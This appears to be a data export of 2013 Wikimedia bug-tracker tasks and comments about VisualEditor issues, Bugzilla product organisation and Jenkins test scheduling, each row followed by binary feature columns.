+241243,VisualEditor bugzilla component should be under MediaWiki extensions,"To be fair the bug summary is rather generic. It would make sense to have a placeholder under ""MediaWiki extensions"", or maybe a mention of the product somewhere.",,,1371420335,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+241237,VisualEditor bugzilla component should be under MediaWiki extensions,"The visual editor backend for MediaWiki, once split out, will actually be a MediaWiki extension, and for that one a component will be created under ""MediaWiki extensions"" in Bugzilla.
+The VisualEditor product itself will be MW-independent and hence a product on its own. Like now.
+
+> I don't see why VisualEditor can't have an entry in MediaWiki extensions.
+
+Because the VE product has components in Bugzilla, and Bugzilla does not allow subcomponents (components that are part of a component).
+If I make the VE product a component under the ""MediaWiki extensions"" product in Bugzilla, VE will have to lose all its components. And we don't want that because it's complex enough to have components.",,,1371416756,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+241232,VisualEditor bugzilla component should be under MediaWiki extensions,"I don't see why VisualEditor can't have an entry in MediaWiki extensions. It's a MediaWiki extension. This is a reasonable place to look for it. You can add a note in the description about filing the bugs under a different product, but we certainly don't to lose bugs because people can't figure out where to file them.",,,1371415303,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+241226,VisualEditor bugzilla component should be under MediaWiki extensions,I doubt many will understand the difference between VE and VE backend (the extension?) .I don't. They shouldn't be called the same.,,,1371415095,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+241220,VisualEditor bugzilla component should be under MediaWiki extensions,...and Bugzilla bugs should be filed under Bugzilla. Moving.,,,1371408158,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+241215,VisualEditor bugzilla component should be under MediaWiki extensions,"The VE backend for MediaWiki, once split out, is expected to become an extension on its own (also codewise) soon, but VE itself will stay as a toplevel product.
+
+Plus Bugzilla's three levels (classification, product, component) do not allow having subcomponents under components hence not feasible.",,,1371408122,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+51621,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default","The preference ""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be enabled by default.
+
+More generally, users have the option to use or not to use the VisualEditor at the top of the page, but not at the section level. Some users in the Hebrew Wikipedia complained that it's disruptive, and I agree with them.
+
+Another possibility is to have two section edit links, like it is at the top of the page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49666",Needs Triage,90.0,1371315060,1372279685.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-oz4sidkwsjedlisknc5h,task_description,invalid,True,c1,2,False,False,True,-3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,1,0,0
+240344,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default",Thanks. I like the chosen solution.,,,1372542001,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-oz4sidkwsjedlisknc5h,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+240338,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default","In the end we've gone with a solution to have both links, as requested, so closing this option on the default as INVALID (the option itself doesn't make any sense given the change in the product design).",,,1372279685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oz4sidkwsjedlisknc5h,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+240332,"""Use the wikitext editor for editing sections while VisualEditor is in beta"" should be default","**brassratgirl** wrote:
+
+Agreed that having two links would be super. Visual editor for section-editing by default is driving me crazy on the English Wikipedia.",,,1372129450,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-oz4sidkwsjedlisknc5h,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+51587,Implement the same EventLogging of page edits in wikitext editor as in VisualEditor for comparison purposes,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371231960,1371507422.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tmvxleqap5uqab7s5tju,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238129,Implement the same EventLogging of page edits in wikitext editor as in VisualEditor for comparison purposes,"This was done by Ori in gerrit 69161 for VisualEditor only; if we want to put this into core, we'll want to do that later, but for now marking this as closed.",,,1371507422,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tmvxleqap5uqab7s5tju,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+238124,Implement the same EventLogging of page edits in wikitext editor as in VisualEditor for comparison purposes,"Coordination card on Trello: https://trello.com/c/xCkMEAY0
+
+Reminder: anonymous editors are excluded from logging (we'll instrument the edit funnel for anons in July in preparation for the global launch).",,,1371233136,,PHID-USER-qb5aoo443n6fezsozhv4,True,,,PHID-TASK-tmvxleqap5uqab7s5tju,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+51547,Configure VisualEditor for section edit links to go to VisualEditor by default,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371155460,1371161579.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-c4vkf2igh4ozkrhmdcdd,task_description,invalid,True,c1,2,True,False,True,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+235597,Configure VisualEditor for section edit links to go to VisualEditor by default,Roan implemented this in code rather than as a config of $wgVisualEditorEnableSectionEditLinks; INVLAIDing.,,,1371161579,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-c4vkf2igh4ozkrhmdcdd,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+51545,VisualEditor: Switch over to handle mw:WikiLink/Interwiki,"Currently links with mw:WikiLink/Interwiki get alienated
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371150540,1371150585.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ruct6x62hxyefsmpylp6,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+235513,VisualEditor: Switch over to handle mw:WikiLink/Interwiki,"I'm a fool to myself.
+
+*** This bug has been marked as a duplicate of bug 49316 ***",,,1371150585,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ruct6x62hxyefsmpylp6,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+51540,VisualEditor: valid links are redlinked in the link inspector,"The link inspector shows valid links as red in the autocomplete function. This is potentially very disruptive and confusing for editors, new and old alike, who pattern-match 'red' to 'this page does not exist'.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371145680,1371153385.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-aujnfu5wgjys4i7m3tqa,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+235220,VisualEditor: valid links are redlinked in the link inspector,"Yes, this is specifically that it's filtering out redirects in its suggestions (good) but then assuming that if it's not a non-redirect, it doesn't exist (bad). We'll get this fixed.
+
+*** This bug has been marked as a duplicate of bug 49502 ***",,,1371153385,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aujnfu5wgjys4i7m3tqa,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+51525,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,"https://en.wikipedia.org/w/index.php?title=User:TheDJ/sandbox&oldid=559712952
+
+Try adding a gallery that was made using <Gallery></Gallery>
+
+Anything following the opening <Gallery> tag seems to be enclosed inside it. Also when saving, the following might apparently occur: https://en.wikipedia.org/w/index.php?title=British_Rail_Class_50&diff=prev&oldid=559199747
+
+
+Discussion: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=559712784#Spurious_gallery_tags
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371125760,1371254899.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-7xdz6csv454jmjt43l3k,task_description,resolved,True,c1,2,True,False,True,-3,,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+234452,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934067,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+234447,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,https://gerrit.wikimedia.org/r/68727 (Gerrit Change I288f6ec9e4117ce58e2f445e73868937be1654af) | change APPROVED and MERGED [by jenkins-bot],,,1371249813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+234438,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,Related URL: https://gerrit.wikimedia.org/r/68727 (Gerrit Change I288f6ec9e4117ce58e2f445e73868937be1654af),,,1371238814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+234429,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,*** Bug 49579 has been marked as a duplicate of this bug. ***,,,1371225610,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234423,Extension tags starting with a capital (<Gallery>) seem to confuse the parser,"Argh, yes, this looks like a Parsoid issue. (I would have thought that all wikitext syntax should be case insensitive?)",,,1371135498,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7xdz6csv454jmjt43l3k,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0
+51522,VisualEditor: Mass of extraneous quot and amp marks,"See https://en.wikipedia.org/w/index.php?title=Breast_cancer&diff=558696523&oldid=558695500 and https://en.wikipedia.org/w/index.php?title=Downward_causation&diff=prev&oldid=558735268 for example; I have...no idea what's happening.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371117420,1372014851.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ku4zjzbgxbemhv6sicxc,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+234178,VisualEditor: Mass of extraneous quot and amp marks,"I think that we've fixed this bug, but if it recurs please re-open.",,,1372014851,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ku4zjzbgxbemhv6sicxc,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+51486,VisualEditor: Add the ability to drag highlighted text around with the mouse,"As requested at https://en.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2FFeedback&diff=559578396&oldid=559577689
+
+Whether this is something there will be a generalised use case for, I can't say, but it's kinda a nifty idea in theory. I'd stick it on the ""we'll consider it when everything else works"" list.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1371058200,1371058332.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-j57p7ueywyekpmhxkqes,task_description,resolved,True,c1,2,False,False,True,-3,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+231896,VisualEditor: Add the ability to drag highlighted text around with the mouse,"bug 41150 was changed to be media objects only; text drag and drop is yet to come.
+
+*** This bug has been marked as a duplicate of bug 49981 ***",,,1380609083,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-j57p7ueywyekpmhxkqes,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+231890,VisualEditor: Add the ability to drag highlighted text around with the mouse,Neat! Thanks :),,,1371058632,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-j57p7ueywyekpmhxkqes,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+231886,VisualEditor: Add the ability to drag highlighted text around with the mouse,"Good news - we've already got this planned as part of the beta - see bug 41150. Marking as a dupe.
+
+*** This bug has been marked as a duplicate of bug 41150 ***",,,1371058332,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j57p7ueywyekpmhxkqes,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+51475,Red links show as blue links in VisualEditor,"When editing for example http://pt.wikipedia.org/wiki/Rana with the VisualEditor, all the red links are shown as blue links.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371027000,1371049016.0,PHID-USER-vyidforzdhnrsoweujao,False,,False,PHID-TASK-ajsfntti2ybnqjqeqxfs,task_description,resolved,True,c1,2,False,False,True,-3,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+231186,Red links show as blue links in VisualEditor,"Hey, this is a duplicate of bug 37901 - unfortunately, this depends on hinting in Parsoid (bug 37902) which is not yet done.
+
+*** This bug has been marked as a duplicate of bug 37901 ***",,,1371049016,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ajsfntti2ybnqjqeqxfs,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+51418,new schedule for Jenkins jobs,"The number of browser tests and the number of browser test builds have both increased to the point that our original idea of a mid-day build and a late-day build (Pacific time) no longer serves us well.  The builds take long enough that they run essentially back-to-back all afternoon every day.  
+
+I suggest we run all the builds at 11:00 Pacific time to have timely build information available around deployment time during the US working day. 
+
+Then I suggest that we run all the builds once at 19:00 Pacific time (GMT-8) so that the results will be available for analysis in the morning Croation time (GMT-1)
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1370906580,1372762967.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bumkxu7r6tdc2iyjok4e,task_description,resolved,True,c1,2,False,False,True,-3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+252487,new schedule for Jenkins jobs,"Fixed in https://gerrit.wikimedia.org/r/#/c/69865/
+
+If there is still something to be done here, reopen the bug.",,,1372762967,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-bumkxu7r6tdc2iyjok4e,task_subcomment,,True,c1,3,True,,,0,,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+252482,new schedule for Jenkins jobs,"Actually, upon reflection, I think we can support the weekly releases better, and move toward even faster release cycles perhaps by something like this: 
+
+
+Builds for beta labs to run several times per day. Possibly run Chrome/FF builds more often than IE builds for speed. 
+
+Builds for test2 to match deployments to test2/mw.o depending on features tested e.g. VisualEditor.
+
+Builds for production to match deployments to prod. ""Sufficiently advanced testing is indistinguishable from monitoring.""
+
+Builds for mobile TBD.",,,1371227753,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-bumkxu7r6tdc2iyjok4e,task_subcomment,,True,c1,2,False,,,-3,,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0
+51384,VisualEditor: Linking to an image results in the image being loaded,"The image is loaded
+
+editing article [[:zh:港鐵都城嘉慕電動列車_(直流電)]]
+
+if there exists a wikilink to a file, then the file will be loaded which should not happen.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11725}",Needs Triage,90.0,1370856240,1370883912.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,False,PHID-TASK-wdm6ddtjkbpjvqclln2i,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+250172,VisualEditor: Linking to an image results in the image being loaded,"
+
